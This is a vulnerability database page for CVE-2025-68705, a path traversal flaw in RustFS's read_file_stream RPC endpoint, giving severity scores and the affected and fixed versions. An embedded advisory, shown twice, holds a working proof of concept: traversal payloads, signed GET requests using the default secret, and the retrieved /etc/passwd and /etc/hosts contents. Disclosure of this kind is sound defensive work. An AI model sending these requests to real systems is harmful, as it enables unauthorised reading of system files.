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CVE-2025-68705

RustFS Path Traversal Vulnerability

8.8 HighPublic exploitFix available

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

7.26%Up 7.2 points since Jan 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

RustFS Path Traversal Vulnerability

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.

Record
CVE-2025-68705
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-1162 8.8

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.

Record
EUVD-2026-1162
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-pq29-69jg-9mxc 8.8

RustFS Path Traversal Vulnerability

RustFS Path Traversal Vulnerability

Vulnerability Details

  • CVE ID:
  • Severity: Critical (CVSS estimated 9.9)
  • Impact: Arbitrary File Read/Write
  • Component: /rustfs/rpc/read_file_stream endpoint
  • Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

  • Canonicalization
  • Path boundary validation
  • Protection against ../ sequences
  • Protection against absolute paths

Proof of Concept

Test Environment

  • Target: RustFS v0.0.5 (Docker container)
  • Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream
  • RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)
  • Disk ID: /data/rustfs0
  • Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration

2. Read /etc/hosts ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
[...]
172.20.0.3	d25e05a19bd2

Impact: Network configuration disclosure

3. Read /etc/hostname ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure

Technical Analysis

Data Flow

1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd

Path Traversal Mechanism

// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"

// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!

Why It Works

  1. No Canonicalization: Code doesn't use canonicalize() before validation
  2. No Boundary Check: No verification that final path is within volume_dir
  3. PathBuf::join() Behavior: Automatically resolves ../ sequences
  4. Length-Only Validation: check_path_length() only checks string length

Special Considerations

  • File Size Constraint: The length parameter must exactly match file size
    • Code validates: file.len() >= offset + length
    • Otherwise returns DiskError::FileCorrupt
  • Volume Requirement: Volume/bucket must exist…
Record
GHSA-pq29-69jg-9mxc
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-22
Updated
2026-11-02
NVD 8.8

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.

Record
CVE-2025-68705
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSV 8.8

RustFS Path Traversal Vulnerability

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.

Record
CVE-2025-68705
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-pq29-69jg-9mxc 8.8

RustFS Path Traversal Vulnerability

RustFS Path Traversal Vulnerability

Vulnerability Details

  • CVE ID:
  • Severity: Critical (CVSS estimated 9.9)
  • Impact: Arbitrary File Read/Write
  • Component: /rustfs/rpc/read_file_stream endpoint
  • Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

  • Canonicalization
  • Path boundary validation
  • Protection against ../ sequences
  • Protection against absolute paths

Proof of Concept

Test Environment

  • Target: RustFS v0.0.5 (Docker container)
  • Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream
  • RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)
  • Disk ID: /data/rustfs0
  • Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration

2. Read /etc/hosts ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
[...]
172.20.0.3	d25e05a19bd2

Impact: Network configuration disclosure

3. Read /etc/hostname ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure

Technical Analysis

Data Flow

1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd

Path Traversal Mechanism

// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"

// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!

Why It Works

  1. No Canonicalization: Code doesn't use canonicalize() before validation
  2. No Boundary Check: No verification that final path is within volume_dir
  3. PathBuf::join() Behavior: Automatically resolves ../ sequences
  4. Length-Only Validation: check_path_length() only checks string length

Special Considerations

  • File Size Constraint: The length parameter must exactly match file size
    • Code validates: file.len() >= offset + length
    • Otherwise returns DiskError::FileCorrupt
  • Volume Requirement: Volume/bucket must exist…
Record
GHSA-pq29-69jg-9mxc
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-22
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
rustfs
crates.io
 1.0.0-alpha.13 to 1.0.0-alpha.78
1.0.0-alpha.79
rustfs
crates.io
 1.0.0-alpha.13 up to 1.0.0-alpha.79
1.0.0-alpha.79

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubimjdl/CVE-2025-687052026-01-08

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-68705 is a high vulnerability (CVSS 8.8) in Rustfs, published January 7, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 7.26%, the 94th percentile. Fixed in rustfs 1.0.0-alpha.79.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

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